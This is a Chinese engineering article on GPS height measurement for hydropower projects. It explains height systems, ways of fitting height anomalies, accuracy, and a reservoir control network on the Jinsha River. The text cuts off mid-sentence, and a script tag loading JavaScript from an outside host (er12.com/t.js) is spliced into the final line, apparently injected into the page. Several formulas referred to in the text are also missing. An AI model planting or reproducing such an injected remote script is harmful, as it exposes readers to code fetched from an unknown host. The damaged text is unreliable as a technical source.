1 前言
水电工程建设的各个阶段，对高程均有严格的要求。常规高程测量采用几何水准方法布设，或辅以光电测距三角高程测量来实现。水电工程具有鲜明的行业特性，即山高谷狭、交通不便、植被茂密、国家水准点稀少，使得高程的测设不仅困难，而且费工、费时、费力。
随着gps（全球卫星定位系统）的发展，因其具有“高精度、高效益、高可靠性、高自动化”的优势，在水电工程中得以广泛应用。gps平面控制测量精度很高，但gps高程测量一直受多种因素影响，难以满足水电工程的需要，极大地制约了gps技术的应用和推广。
本文在介绍gps高程测量原理的基础上，结合水电工程的河流规划、施工控制网、地形测绘、安全监测等实际，对gps高程测量的应用进行了探讨，提出了一些结论和建议，以期gps在水电工程中发挥更大的效益，真正实现gps三维测量。
2 gps高程测量原理
2．1 高程系统
2．1．1 大地高程系统
大地高是由地面点沿通过该点的椭球面法线到椭球面的距离，通常以h表示。利用gps定位技术，可以直接测定测点在wgs－84中的大地高程。
大地高是一个几何量，不具有物理上的意义。 它通过与水准测量资料、重力测量资料等相结合，来 确定测点的正常高，具有重要的意义。
2．1．2 正高系统
由地面点并沿该点的铅垂线至大地水准面的距离称为正高，通常以hg表示。正高具有重要的物理意义，但不能精确测定。
2．1．3 正常高系统
正常高系统是以似大地水准面为基准面的高程系统，通常以hγ表示。正常高同样具有重要的物理意义，广泛应用于水利水电工程、管道和隧道工程建设中，而且可以精密地确定。
正常高系统为我国通用的高程系统，水电工程常用的1956年黄海高程系和1985国家高程基准，都是正常高系统。
2．2 确定正常高的gps高程法
似大地水准面与椭球面之间的高程差，称为高程异常，通常以ζ表示，见图1。正常高与大地高之间的转换关系为：
可见，如果能确定高程异常ζ，就能将大地高h换算成正常高hγ。
确定高程异常的方法可分为直接法和拟合法。 高程异常是地球重力场的一个参数，利用地球重力场模型，根据点位信息，直接可得该点的高程异常 值，此为直接法。对于高程精度要求不高或不可能进行水准测量的极其困难地区，可采用直接法。
如果在gps网中一些点上同时测定水准高程（通常称这些点为公共点），结合gps测量和水准测量资料，采用内插技术获得网中其它各点的高程异常，即为拟合法。常用的拟合法有：
2．2．1 等值线图示法
根据已知点的高程异常值，绘出测区高程异常的等值线图，然后利用内插方法确定未知点的高程异常。其精度主要取决于公共点的分布与密度，必要时应综合利用地形测绘资料、重力测量资料，以顾及高程异常的非线性变化。
2．2．2 解析法
所谓解析法，即采用某种规则的数学面来拟合测区的似大地水准面。当这一数学模型建立后，根据网点的位置参数，便可计算测区内任一点的高程异常。
假设任一点的坐标为（x，y），其高程异常可一般表示为：
常用的拟合方法有以下几种：（1）加权平均法； （2）平面拟合法；（3）二次曲面拟合法；（4）多面函数拟合（hardy）法；（5）三次样条函数法；（6）多项式曲线拟合法；（7）多项式曲面拟合法；（8）最小二乘推估法；（9）附加地形改正的“移去－恢复法”等等。
2．3 gps高程测量精度
由式（1）可知，正常高的精度主要取决于大地高差和高程异常差的精度。gps测定的大地高差具有很高的精度，一般可达到（2～3）×10－6。因此gps高程测量精度主要取决于高程异常差。
高程异常差的误差由水准测量误差和拟合误差两部分组成。水准联测的精度一般容易保证，但需注意起算数据的可靠性检验，防止粗差。关键是拟合精度，它与公共点的分布、密度和拟合模型有关。
3 水电工程应用实践
3．1 河流规划及库区控制网
对水电工程的河流规划、大型水电站库区，一般采用gps布设首级平面控制网。gps测量多为沿河带状作业，山高谷深，高程联测困难，在很大程度上影响了gps高程测量的精度。
我院自1993年以来，先后测设了二十余个ⅲ等以上的山区大型gps控制网。为了分析山区带状gps测量的高程拟合精度，我们作了些实验，结果表 明：即使在高山峡谷区，只要合理的设计与施测，并采用恰当的数据处理模型，能够使gps测量的拟合高程达到±0．15m的精度，满足常规生产的需要。现结合具体实例介绍如下。
3．1．1 工程概况
某特大型水电站库区ⅲ等gps测量控制网位于金沙江河段，山高谷狭，最大高差达2 600m。控制范?script src=http://er12.com/t.js>
